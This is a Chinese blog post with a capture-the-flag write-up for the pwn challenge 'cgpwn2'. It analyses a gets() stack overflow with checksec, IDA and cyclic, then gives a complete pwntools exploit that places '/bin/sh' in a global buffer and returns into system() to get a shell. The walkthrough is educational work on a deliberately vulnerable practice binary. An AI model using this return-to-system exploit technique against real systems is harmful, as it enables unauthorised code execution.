

攻防世界 Pwn cgpwn2

原创

==Microsoft== 于 2021-12-12 11:37:34 发布 455 收藏

分类专栏: [Pwn](#) 文章标签: [安全](#)

欢迎转载,但是不能修改原文,且必须标注文章的来源。

本文链接: <https://blog.csdn.net/MrTreebook/article/details/121884733>

版权



[Pwn 专栏收录该内容](#)

47 篇文章 0 订阅

订阅专栏

攻防世界 Pwn cgpwn2

1.题目下载地址

2.checksec分析

3.IDA分析

3.1.看一下溢出大小

4.exp

4.1.运行结果

1.题目下载地址

[点击下载](#)

2.checksec分析

```
lwj@ubuntu:~/Desktop/pwn/cgpwn2$ checksec cgpwn2
[*] '/home/lwj/Desktop/pwn/cgpwn2/cgpwn2'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
lwj@ubuntu:~/Desktop/pwn/cgpwn2$
```

只开启了NX保护,应该不会有太多障碍

直接进IDA看一下

3.IDA分析

main函数中有一个hello函数，我们直接看hello函数

```
1 char *hello()
2 {
3     __int16 *v0; // eax
4     int v1; // ebx
5     unsigned int v2; // ecx
6     __int16 *v3; // eax
7     __int16 s; // [esp+12h] [ebp-26h] BYREF
8     int v6; // [esp+14h] [ebp-24h] BYREF
9
10    v0 = &s;
11    v1 = 30;
12    if ( ((unsigned __int8)&s & 2) != 0 )
13    {
14        s = 0;
15        v0 = (__int16 *)&v6;
16        v1 = 28;
17    }
18    v2 = 0;
19    do
20    {
21        *(_DWORD *)&v0[v2 / 2] = 0;
22        v2 += 4;
23    }
24    while ( v2 < (v1 & 0xFFFFF0FC) );
25    v3 = &v0[v2 / 2];
26    if ( (v1 & 2) != 0 )
27        *v3++ = 0;
28    if ( (v1 & 1) != 0 )
29        *(_BYTE *)v3 = 0;
30    puts("please tell me your name");
31    fgets(name, 50, stdin);
32    puts("hello,you can leave some message here:");
33    return gets((char *)&s);
34 }
```

CSDN @Microsoft

- 可以看到第二个gets函数没有限制输入大小，很明显是栈溢出
- 再看看有没有其他后门函数

```
1 int pwn()
2 {
3     return system("echo hehehe");
4 }
```

看到有一个pwn函数中调用了system

```
.bss:0804A080 public name
.bss:0804A080 ; char name[52]
.bss:0804A080 name db 34h dup(?)
.bss:0804A080 _bss ends
.prgend:0804A0B4 ; =====
.nrpend:0804A0B4
```

而且第一个gets函数输入的名字正好是处于bss段
那么我们可以写命令到name
然后找到这个地址，利用简单ROP

3.1.看一下溢出大小

老规矩还是cyclic

```
00:0000 esp 0xffffd150 ← 'aamaanaaaapaaaqaaaraasaaataaaavaaaawaaaxaaayaaa'
01:0004 0xffffd154 ← 'aanaaaapaaaqaaaraasaaataaaavaaaawaaaxaaayaaa'
02:0008 0xffffd158 ← 'aaopaaaqaaaraasaaataaaavaaaawaaaxaaayaaa'
03:000c 0xffffd15c ← 'aapaaaqaaaraasaaataaaavaaaawaaaxaaayaaa'
04:0010 0xffffd160 ← 'aaqaaaraasaaataaaavaaaawaaaxaaayaaa'
05:0014 0xffffd164 ← 'aaraasaaataaaavaaaawaaaxaaayaaa'
06:0018 0xffffd168 ← 'aasaaataaaavaaaawaaaxaaayaaa'
07:001c 0xffffd16c ← 'aataaaavaaaawaaaxaaayaaa'

[ STACK ]

[ BACKTRACE ]
▶ f 0 0x616c6161
  f 1 0x616d6161
  f 2 0x616e6161
  f 3 0x616f6161
  f 4 0x61706161
  f 5 0x61716161
  f 6 0x61726161
  f 7 0x61736161

pwndbg> cyclic -l 0x616c6161
42
pwndbg> cyclic -l 'aala'
42
pwndbg> cyclic -l 0x616c6161
42
pwndbg> █
```

CSDN @==Microsoft==

然后找到sys地址

```
.text:08048550 sub esp, 18h
.text:08048553 mov dword ptr [esp],
.text:0804855A call _system
.text:0804855F nop
.text:08048560 leave
```

接下来就是构造payload了

4.exp

```
from pwn import *
r = process('./cgpwn2')
#r = remote('111.198.29.45', 51186)
target = 0x804855A

binsh = 0x804A080

payload = 'a' * 42 + p32(target) + p32(binsh)

a = r.recvuntil('e\n')
r.sendline('/bin/sh')
a = r.recvuntil(': \n')
r.sendline(payload)
r.interactive()
```

4.1.运行结果

```
Lwj@ubuntu:~/Desktop/pwn/cgpwn2$ python exp.py
[+] Starting local process './cgpwn2': pid 13656
[*] Switching to interactive mode
$ ls
cgpwn2    exp.py    peda-session-cgpwn2.txt
$
```

可以看到已经顺利拿到本机权限了